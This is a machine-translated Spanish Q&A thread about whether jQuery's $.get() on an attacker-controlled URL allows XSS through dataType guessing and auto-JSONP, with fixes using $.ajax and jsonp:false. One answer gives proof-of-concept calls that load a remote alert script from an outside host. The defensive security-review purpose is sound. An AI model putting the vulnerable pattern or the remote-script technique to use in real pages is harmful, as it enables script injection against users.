div after jquery ajax json security xss

after - ¿Es seguro llamar a jQuery''s $.get() en una URL no confiable?



jquery load (5)

¿Este patrón de código crea una vulnerabilidad XSS, si un atacante elige url maliciosamente?

Edición: sí, pero no por el motivo de tu pregunta.

La característica extraña de auto-JSONP se aplica internamente a las solicitudes de AJAX usando ajaxPrefilter("json jsonp") . Por lo tanto, se aplica a la lista de prefiltros json pero no a otros tipos o al valor predeterminado * . Sin embargo, los prefiltros se aplican antes de que se produzca la respuesta, por lo que esto no puede suceder simplemente porque el servidor responde con un tipo similar a JSON.

(Actualmente, a partir de la 1.11.2, los documentos para getJSON no describen las circunstancias en las que se getJSON este comportamiento potencialmente peligroso. Y los documentos para get y ajax no mencionan el auto-JSONP en absoluto. ser considerado un error. Sin duda, dada la escasa especificación de esto, no confiaría en que siga siendo el mismo en futuras versiones de jQuery.)

La razón real por la que es vulnerable (como lo demuestran framp y el cepillo de dientes) es que sin un parámetro dataType jQuery adivinará uno a partir de la respuesta. Si la URL del atacante llega a un recurso servido como un tipo de Content-Type similar a JS, jQuery adivina que es JavaScript y lo eval . Nota: para que la solicitud AJAX llegue lo suficientemente lejos para que esto funcione, para un recurso en un servidor de terceros, tendría que incluir encabezados CORS.

$.get(url, function (...) { ... }, ''json'');

Esta versión no es vulnerable al tipo de respuesta que adivina. Sin embargo, es vulnerable al filtro auto-JSONP.

Para estar seguro, debe configurar la opción dataType y , si esa opción es json , también la opción jsonp: false . Desafortunadamente, no puede establecer la opción jsonp en el método get() . Debería poder hacerlo pasando un diccionario de opciones en lugar de parámetros, pero no puede porque esta API actualmente es completamente no funcional debido a que jQuery es un lío triste de las API Do-What-I-Mean rotas cuyo comportamiento es (cada vez más) difícil de predecir.

Entonces, la única forma segura de obtener JSON de una URL no confiable es a través de ajax básico:

$.ajax(url, {dataType: ''json'', jsonp: false});

Hace poco me enteré de que $.getJSON() jQuery no es seguro para llamar a una URL que no sea de confianza . ¿Qué hay de $.get() ? ¿Es seguro llamar a $.get() jQuery cuando el parámetro de la URL proviene de una fuente no confiable, o es inseguro?

Esto surgió en una revisión del código de seguridad que estaba haciendo para verificar las vulnerabilidades de XSS. Ejemplo de patrón de código:

$.get(url, function (...) { ... })

¿Este patrón de código crea una vulnerabilidad XSS, si un atacante elige url maliciosamente?

Supongamos que la función manejará la respuesta de la solicitud de AJAX de manera segura, y que la url proviene de una fuente no confiable (por ejemplo, algún otro usuario) y puede ser controlada completamente por el adversario.

Mi preocupación: si un atacante elige la url , ¿puede un atacante elegir una URL maliciosa (p. Ej., callback=? contiene callback=? Y que apunta a su propio sitio, o algo así de inteligente) que hace que jQuery adivine que el tipo de datos debe ser JSONP , habilite JSONP, inserte una etiqueta de script en el documento e introduzca una vulnerabilidad XSS de la misma manera que lo hace getJSON () ? (Ya que no estoy pasando un argumento de tipo de datos explícito a $.get() , jQuery adivinará el tipo de datos, como se describe en los documentos . No estoy seguro de cuáles son las implicaciones de seguridad de eso).

Me encontré con este patrón de código en la revisión de código, y estoy tratando de entender si es una vulnerabilidad potencial. No estoy buscando formas alternativas de escribir este código; en cambio, quiero saber si este tipo de patrón de código es seguro como es.

Dado que el modelo de amenaza es un poco complicado, déjeme dar un ejemplo para ayudar a entender esto mejor. Supongamos que Bob es un usuario del servicio y que puede proporcionar una URL asociada a su perfil. Supongamos que cuando Alice visita la página del perfil de Bob en su navegador, el código Javascript de la página toma la URL que Bob le proporcionó y la pasa como un argumento a $.get() . La pregunta es, ¿es esto seguro? ¿Podría Bob usar esto para atacar a Alice? ¿Podría Bob activar el navegador de Alice para ejecutar código Javascript arbitrario, con todo el poder de Alice? Como lo explica la pregunta vinculada, $.getJSON() no es seguro en este escenario, pero ¿qué hay de $.get() ? ¿Es inseguro también, o es seguro?

Dado que recibí algunas solicitudes de aclaración, permítame intentar explicar / formular la pregunta de una manera diferente. Supongamos que estoy haciendo una revisión de código para verificar si algún código Javascript contiene alguna vulnerabilidad de XSS, y veo la siguiente línea de código:

$.get(url, function(resp) { /* do nothing */ });

Supongamos que sé que la url puede ser controlada completamente por el atacante. ¿Esto es automáticamente una vulnerabilidad XSS? ¿O es esto siempre seguro? O si la respuesta es "depende", ¿de qué depende?

O, otra manera de pensar sobre esto. Supongamos que estoy haciendo una revisión de código y veo la siguiente línea de código:

$.get(url, f);

Supongamos que sé que la url puede ser controlada completamente por el atacante. ¿Qué necesito verificar para verificar si esto es seguro (libre de errores XSS)? Soy consciente de que necesito verificar el código de f para ver si maneja la respuesta de manera segura, porque si f es negligente podría introducir un error de XSS. Mi pregunta es: ¿es eso lo único que necesito verificar? ¿O es este patrón de código siempre una vulnerabilidad XSS, independientemente de cómo se codifique f ?


Depende.

TL; DR Sí, es inseguro en ciertos casos.

Si:

  • No está utilizando la Política de seguridad de contenido para filtrar la solicitud hacia afuera (no se puede caniuse )
  • El navegador del cliente soporta CORS ( caniuse )
  • El atacante puede elegir la URL.

Entonces el atacante puede ejecutar JS en tu página.

Un servidor malicioso con un protocolo coincidente, los encabezados CORS correctos ( Access-Control-Allow-Origin: * ) podrán ejecutar JS en su página gracias a la detección automática jQuery del encabezado Content-Type (que para JS será un script ).

Ejemplo que puede probar en esta página en (asumiendo que está en http ):

$.get(''http://zensuite.net/js/alert.js'', console.log.bind(console));

Si desea ver qué sucede si no se establecen los encabezados CORS:

$.get(''https://zensuite.net/js/alert.js'', console.log.bind(console));

En cambio, al hablar de su hipótesis, probablemente no logre que jQuery transforme una solicitud XHR normal en una inclusión remota de un script.

Después de observar brevemente el code , creo que esto probablemente no sucederá (a menos que haya un error en alguna parte), porque puede cambiar al "modo de script remoto" solo antes de solicitar un transporte y si su tipo de datos es

  • json cuando la URL coincida con la rjsonp regular rjsonp /(=)/?(?=&|$)|/?/?/ ;
  • jsonp
  • script

Estos también son vulnerables:

$.get(''https://zensuite.net/js/alert.js?callback=?'', console.log.bind(console), ''json''); $.get(''https://zensuite.net/js/alert.js'', console.log.bind(console), ''jsonp''); $.get(''https://zensuite.net/js/alert.js'', console.log.bind(console), ''script'');

Por supuesto, esto no es relevante para la pregunta, dado que solo puede usar $.get para ejecutar el código remoto.


Ese es un buen punto. Pero ¿qué hay de forzar el formato de tipo de datos para garantizar que no se utilizará como JSONP?

$.ajax({ url: url, data: data, success: success, dataType: dataType // force text/plain });

$.getJSON() se usa para mayor comodidad cuando deseamos acelerar el análisis, por lo que si está realmente al tanto de la seguridad, utilice las llamadas $.ajax() .

Más información: http://api.jquery.com/jquery.ajax/


Sabes, ese hacker podría simplemente abrir la consola de desarrollo y escribir cualquier $.get él quiera, ni siquiera tiene que cambiar tu variable url . De hecho, puede ejecutar cualquier código que quiera, siempre que no interfiera con la misma política de dominio. El punto central de la seguridad del lado del cliente es asegurarse de que el tipo solo pueda piratearse.

Por lo tanto, no es necesario que intente asegurar nada del lado del cliente, la idea es que no puede confiar en nada que provenga del navegador , por lo que siempre debe verificar los datos recibidos en su servidor y permitir una interacción mínima entre los dos , etc).


jQuery.get plantea un riesgo de seguridad XSS.

Si observa la fuente de jQuery (o la documentación de jQuery.get ), verá que jQuery.get y jQuery.post son solo envoltorios para jQuery.ajax({ url: url, data: data, success: success, dataType: dataType }); .

Hay dos problemas aquí:

  1. Si dataType es jsonp , o la URL termina en =? y dataType es json , jQuery intentará realizar una solicitud JSONP y luego eval el script.
  2. Si la respuesta es un script, jQuery ejecutará ese script a menos que dataType sea json y la opción jsonp esté configurada en false .

Entonces, si establece dataType en json , y jsonp en false , es seguro llamar a jQuery.get para una URL desconocida.

Escritura vulnerable

$.get(url, function(...) { ... });

Vea el ejemplo en JSFiddle.

Guión seguro

$.ajax(url, { jsonp: false, dataType: ''json'' }).done(function(...) { ... });

Vea el ejemplo en JSFiddle.